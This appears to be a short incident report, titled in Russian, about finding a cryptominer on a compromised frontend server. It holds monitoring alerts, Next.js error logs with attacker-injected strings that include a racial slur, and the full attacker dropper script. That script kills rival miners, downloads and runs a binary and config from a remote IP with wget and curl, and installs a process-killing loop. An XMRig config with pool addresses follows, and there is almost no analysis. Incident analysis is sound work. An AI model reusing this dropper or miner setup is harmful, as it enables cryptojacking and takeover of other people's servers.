«Почему у нас 800 Мбит/с с фронтенда?» или как мы нашли майнер

NodeHighNumberConntrackEntriesUsed
Severity: warning
Instance: 10.132.0.22:9100
Number of conntrack are getting close to the limit.
10.132.0.22:9100 100% of conntrack entries are used.
Start: 2025-12-08 13:34:33.775 +0000 UTC

RabbitmqNodeDown
Severity: critical
RabbitMQ node down (instance )
Less than 3 nodes running in RabbitMQ cluster
  VALUE = 2
  LABELS = map[]
Start: 2025-12-08 13:37:38.962 +0000 UTC

Error: {"message":"Forbidden access"}
}
  digest: 'wow i guess im finna bridge now\x00\n12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
  × [Error: NEXT_REDIRECT] {
'x86' saved
x86                    100% |*******************************| 50552  0:00:00 ETA
saving to 'x86'
Connecting to 89.144.31.18 (89.144.31.18:80)
  × [Error: NEXT_REDIRECT] { digest: 'root' }

echo 12334

pkill -f  xmrig
pkill softirq
pkill -f  watcher
pkill -f  /tmp/a
pkill -f  health.sh

P="fghgf"
K="stink.sh"
R="/dev"
X=0
XX=0
LL=0
L=0

echo "my nuts itch nigga"

p=$(pgrep -f "$P")
for pid in $p; do
    if [ -d "/proc/$pid" ]; then
        state=$(awk '/State/ {print $2}' /proc/$pid/status)
        if [ "$state" = "Z" ]; then
            X=1
        else
            XX=1
        fi
    else
        X=1
    fi
done

pa=$(pgrep -f "$K")
for pid in $pa; do
    if [ -d "/proc/$pid" ]; then
        state=$(awk '/State/ {print $2}' /proc/$pid/status)
        if [ "$state" = "Z" ]; then
            LL=1
        else
            L=1
        fi
    else
        LL=1
    fi
done

if ! pgrep -f $P > /dev/null; then
    X=1
fi
if ! pgrep -f $K > /dev/null; then
    LL=1
fi

if [ "$X" -eq 1 ] && [ "$XX" -eq 0 ]; then
    rm -rf ${R}/$P ${R}/ijnegrrinje.json;
    (busybox wget -q <http://89.144.31.18/nuts/lc> -O-||busybox wget -q <http://89.144.31.18/nuts/lc> -O-||curl -o- <http://89.144.31.18/nuts/lc>)>${R}/ijnegrrinje.json;
    (busybox wget -q <http://89.144.31.18/nuts/x>  -O-||busybox wget -q <http://89.144.31.18/nuts/x>  -O-||curl -o- <http://89.144.31.18/nuts/x>)>${R}/$P;
    chmod 777 ${R}/$P;
    ${R}/$P -c ${R}/ijnegrrinje.json -B &
fi

if [ "$LL" -eq 1 ] && [ "$L" -eq 0 ]; then
    cat <<'EOF' > "${R}/${K}"
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5'; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"hash"* | *"watcher"* | *"/dev/a"* | *"softirq"* | *"rondo"* | *"UPX 5.02"*)
                 kill -9 "$pid"
                 ;;
        esac
    done
    sleep 45
done
EOF
    chmod 777 "${R}/${K}"
    ${R}/${K} &
fi

echo MEOWWWWWWWWW

"cpu": {
  "enabled": true,
  "huge-pages": true,
  "huge-pages-jit": true,
  "hw-aes": null,
  "priority": null,
  "memory-pool": false,
  "yield": true,
  "max-threads-hint": 99,
  "asm": true,
  "argon2-impl": null,
  "cn/0": false,
  "cn-lite/0": false,
  "max-cpu-usage": 99
},
"opencl": {
  "enabled": false,
  "cache": true,
  "loader": null,
  "platform": "AMD",
  "adl": true,
  "cn/0": false,
  "cn-lite/0": false
},
"cuda": {
  "enabled": false,
  "loader": null,
  "nvml": true,
  "cn/0": false,
  "cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
  {
    "url": "37.114.37.94:80",
    "user": "poop",
    "pass": "poop",
    "keepalive": true,
    "enabled": true,
    "tls": false
  },
  {
    "url": "37.114.37.82:80",
    "user": "poop",
    "pass": "poop",
    "keepalive": true,
    "enabled": true,
    "tls": false
  }
]